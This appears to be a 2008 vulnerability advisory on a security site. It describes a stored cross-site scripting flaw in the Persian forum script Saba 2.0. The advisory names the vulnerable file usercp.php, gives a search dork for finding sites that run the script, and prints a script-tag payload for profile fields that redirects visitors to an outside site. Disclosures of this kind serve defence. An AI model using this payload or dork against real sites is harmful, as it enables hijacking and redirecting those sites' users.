Saba 2.0 Cross Site Scripting [PASSIVE]

2008.10.29
Credit: The-0utl4w_at_Aria-Security.com
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79
Dork: Powered by Saba 2.0

Saba 2.0 Cross Site Scripting (JS Injection) http://Aria-Security.com --------------------------------------------------------------- Saba 2.0 is a Persian Forum Script Dork: Powered by Saba 2.0 Vulnerable file: usercp.php usercp.php?username=YourUserName The above script can be inserted as Location, Yahoo ID and other fields in the usercp page.. <script> document.write('<meta http-equiv="refresh" content="0; url=http://Aria-Security.com/index.html">'); </script> The-0utl4w Aria-Security Team

References:

http://seclists.org/bugtraq/2008/Oct/0217.html


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top